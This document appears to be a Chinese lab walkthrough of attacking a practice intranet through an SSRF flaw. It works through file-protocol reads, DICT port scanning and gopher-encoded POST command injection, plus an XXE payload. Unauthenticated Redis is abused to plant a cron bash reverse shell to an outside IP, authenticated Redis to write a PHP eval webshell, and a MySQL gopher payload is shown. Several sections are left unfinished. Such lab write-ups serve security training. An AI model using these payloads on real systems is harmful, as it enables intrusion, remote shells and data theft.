SSRF打穿内网
靶场拓扑设计

攻击流程,172.150.23.21 这个服务器的 Web 80 端口存在 SSRF 漏洞,并且 80 端口映射到了公网的 9080,此时攻击者通过这个 9080 端口可以借助 SSRF 漏洞发起对 172 目标内网的探测和攻击。
1.判断目标站点是否存在SSRF
访问目标站点
是一个带爬取网站首页的功能网站

这里访问http://127.0.0.1 发现页面返回了网站首页

并且我们的bp检测SSRF插件也显示此站点url处疑似存在SSRF漏洞

2.尝试获取本地信息
先判断目标机器操作系统
配合file协议 探测目标操作系统
linux:/etc/passwd
windows:/system32/win.ini
显示为linux,并且成功读取到了/etc/passwd信息
尝试获取目标内网地址
/etc/hosts
权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况
获取到目标内网地址为 172.150.23.21

3.利用SSRF探测内网端口
SSRF 常配合 DICT 协议探测内网端口开放情况,但不是所有的端口都可以被探测,一般只能探测出一些带 TCP 回显的端口
bp下使用迭代器爆破模块,设置好爆破的ip和端口号批量探测
这里由于上帝视角,仅进行C段信息探测



整理好内网ip及端口开放情况
可能有误
172.150.23.21 - 80
172.150.23.22 - 80
172.150.23.23 - 80 3306
172.150.23.24 - 80
172.150.23.25 - 80
172.150.23.26 - 8080
172.150.23.27 - 6379
172.150.23.28 - 80 6379
172.150.23.29 - 80 3306
4.172.150.23.22 - RCE
访问172.150.23.22

转到目录扫描 依旧是爆破模块fuzz一下目录字典
可以发现目录下存在 shell.php phpinfo.php index.php

访问shell.php
你妹的,竟然是后门命令执行文件
这里要注意一个点
因为是通过SSRF进行攻击的,所以在输入url的时候需要进行一次url的编码,进入bp时是两次url编码



访问phpinfo.php

5.172.150.23.23 - sql注入
访问这个内网地址,发现是一个人员查询系统

在页面输入1,试试
oh !!! 发现了传参参数 ‘id’ ,很明显不能直接在这里输入值.
这里解释一下,由于我们是通过爬取这个站点获取内网信息的,所以在构造参数的时候不能在传入值输入,当前页面只接收url的值。
去看国光的wp可以吗?‘H’
本人已经累了
我有机会再补上
6.172.150.23.24 SSRF命令执行
这里跟上面不太一样。之前的代码注入和 SQL 注入都是直接通过 GET 方式来传递参数进行攻击的,但是这个命令执行的场景是通过 POST 方式触发的,我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:
gopher://<host>:<port>/<gopher-path>_<tcp数据流>
gopher 协议是一个古老且强大的协议,从请求格式可以看出来,可以传递最底层的 TCP 数据流,因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。
两次 URL 编码后的数据就最终的 TCP 数据流
访问站点,是一个ping 功能网络测试接口

首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行:
Accept-Encoding: gzip, deflate, br
记得把长度改成 27!。

再把这个数据包进行二次URL编码

把构造好的数据包放到gopher的特定位置,发包成功回显

7.172.72.23.25 - XML 实体注入
本场景是一个基础的 XXE 外部实体注入场景,登录的时候用户提交的 XML 数据,且服务器后端对 XML 数据解析并将结果输出,所以可以构造一个 XXE 读取本地的敏感信息
访问这个网站。尝试 读取本地的敏感信息

<?xml version="1.0" encoding= "UTF-8"?>
<!DOCTYPE user [
<!ENTITY u SYSTEM "file:///etc/hosts" >]>
<user>
<username>&u;</username>
<password>2</password>
</user>
把所要传输的数据进行修改,两次URL打包


使用gopher协议

8.172.72.23.26 - CVE-2017-12615
这个我更是不想说话了。脑子感觉已经炸了,访问8080端口连页面都没爬给我
想看的兄弟可以看拉文章最后浏览别人做题过程。
我暂时跳过 ^//^
9.172.72.23.27 - Redis 未授权
Redis
# 清空 key
dict://172.150.23.27:6379/flushall
# 设置要操作的路径为定时任务目录
dict://172.150.23.27:6379/config set dir /var/spool/cron/
# 在定时任务目录下创建 root 的定时任务文件
dict://172.150.23.27:6379/config set dbfilename root
# 写入 Bash 反弹 shell 的 payload
dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/192.168.146.128/2323 0>%261\n"
# 保存上述操作
dict://172.150.23.27:6379/save
SSRF 攻击的话并不能使用 redis-cli 来连接 Redis 进行攻击作,未授权的情况下可以使用 dict 或者 gopher 协议来进行攻击,因为 gopher 协议构造比较繁琐,所以本场景建议直接使用 DICT 协议来攻击,效率会高很多,DICT 协议除了可以探测端口以外,另一个是攻击未授权的 Redis 服务,格式如下
dict://x.x.x.x:6379/<Redis 命令>
通过 SSRF 直接发起 DICT 请求,可以成功看到 Redis 返回执行完 info 命令后的结果信息,下面开始直接使用 dict 协议来创建定时任务来反弹 Shell:

1.清空 key
2.设置要操作的路径为定时任务目录

3.在定时任务目录下创建 root 的定时任务文件

4.写入 Bash 反弹 shell 的 payload
dict://172.150.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/192.168.146.128/2323 0>%261\n"
保证数据不变形


5.保存上述操作

6.查看监听
有了有了兄弟们

10.172.150.23.28 - Redis 有认证
要认证

但是80端口有本地文件包含漏洞,利用LFI获取本地文件
因为 Redis 密码记录在 redis.conf 配置文件中,结合这个文件包含漏洞点,那么这时来尝试借助文件包含漏洞来读取 redis 的配置文件信息,Redis 常见的配置文件路径如下:
/etc/redis.conf
/etc/redis/redis.conf
/usr/local/redis/etc/redis.conf
/opt/redis/ect/redis.conf


等待!!!
说一下思路,有时间的话我会补充上来。
因为 dict 不支持多行命令的原因,这样就导致认证后的参数无法执行,所以 dict 协议理论上来说是没发攻击带认证的 Redis 服务的。
那么只能使用我们的老伙计 gopher 协议了,gopher 协议因为需要原生数据包,所以我们需要抓取到 Redis 的请求数据包。可以使用 Linux 自带的 socat 命令来进行本地的模拟抓取:
命令来进行本地的模拟抓取:
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
此时使用 redis-cli 连接本地的 4444 端口:
➜ ~ redis-cli -h 127.0.0.1 -p 4444
127.0.0.1:4444>
服务器接着会把 4444 端口的流量接受并转发给服务器的 6379 端口,然后认证后进行往网站目录下写入 shell 的操作:
# 认证 redis
127.0.0.1:4444> auth P@ssw0rd
OK
# 清空 key
127.0.0.1:4444> flushall
# 设置要操作的路径为网站根目录
127.0.0.1:4444> config set dir /var/www/html
# 在网站目录下创建 shell.php 文件
127.0.0.1:4444> config set dbfilename shell.php
# 设置 shell.php 的内容
127.0.0.1:4444> set x "\n<?php eval($_GET[1]);?>\n"
# 保存上述操作
127.0.0.1:4444> save
与此同时我们还可以看到详细的数据包情况,下面来记录一下关键的流量情况:

可以看到 Redis 的流量并不难理解,可以根据上图橙色标记的注释来理解一下,接下来整理出关键的请求数据包如下:
*2\r
$4\r
auth\r
$8\r
P@ssw0rd\r
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$1\r
x\r
$25\r
\r
*1\r
$4\r
save\r
可以看到每行都是以 \r 结尾的,但是 Redis 的协议是以 CRLF (\r\n) 结尾,所以转换的时候需要把 \r 转换为 \r\n,然后其他全部进行 两次 URL 编码,这里借助 BP 就很容易解决
最后使用发送gopher协议请求
执行成功的话会在 /var/www/html 根目录下写入 shell.php 文件,密码为 1
11.172.150.23.29-MYSQL未授权

MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,所以还是和攻击 Redis 应用一样,这里我们使用 Gopherus-master 工具生成gopher协议数据包
python2 gopherus.py --exploit mysql
root
show variables like '%plugin%'
后续编码一次

gopher://172.150.23.29:3306/_%25%61%33%25%30%30%25%30%30%25%30%31%25%38%35%25%61%36%25%66%66%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31%25%32%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%30%25%30%30%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%35%66%25%36%65%25%36%31%25%37%34%25%36%39%25%37%36%25%36%35%25%35%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%66%25%37%32%25%36%34%25%30%30%25%36%36%25%30%33%25%35%66%25%36%66%25%37%33%25%30%35%25%34%63%25%36%39%25%36%65%25%37%35%25%37%38%25%30%63%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%38%25%36%63%25%36%39%25%36%32%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%30%34%25%35%66%25%37%30%25%36%39%25%36%34%25%30%35%25%33%32%25%33%37%25%33%32%25%33%35%25%33%35%25%30%66%25%35%66%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%35%66%25%37%36%25%36%35%25%37%32%25%37%33%25%36%39%25%36%66%25%36%65%25%30%36%25%33%35%25%32%65%25%33%37%25%32%65%25%33%32%25%33%32%25%30%39%25%35%66%25%37%30%25%36%63%25%36%31%25%37%34%25%36%36%25%36%66%25%37%32%25%36%64%25%30%36%25%37%38%25%33%38%25%33%36%25%35%66%25%33%36%25%33%34%25%30%63%25%37%30%25%37%32%25%36%66%25%36%37%25%37%32%25%36%31%25%36%64%25%35%66%25%36%65%25%36%31%25%36%64%25%36%35%25%30%35%25%36%64%25%37%39%25%37%33%25%37%31%25%36%63%25%31%66%25%30%30%25%30%30%25%30%30%25%30%33%25%37%33%25%36%38%25%36%66%25%37%37%25%32%30%25%37%36%25%36%31%25%37%32%25%36%39%25%36%31%25%36%32%25%36%63%25%36%35%25%37%33%25%32%30%25%36%63%25%36%39%25%36%62%25%36%35%25%32%30%25%32%37%25%32%35%25%37%30%25%36%63%25%37%35%25%36%37%25%36%39%25%36%65%25%32%35%25%32%37%25%30%31%25%30%30%25%30%30%25%30%30%25%30%31
拿到 MySQL 的插件目录为:/usr/lib/mysql/plugin/

接下来利用思路
接着来写入动态链接库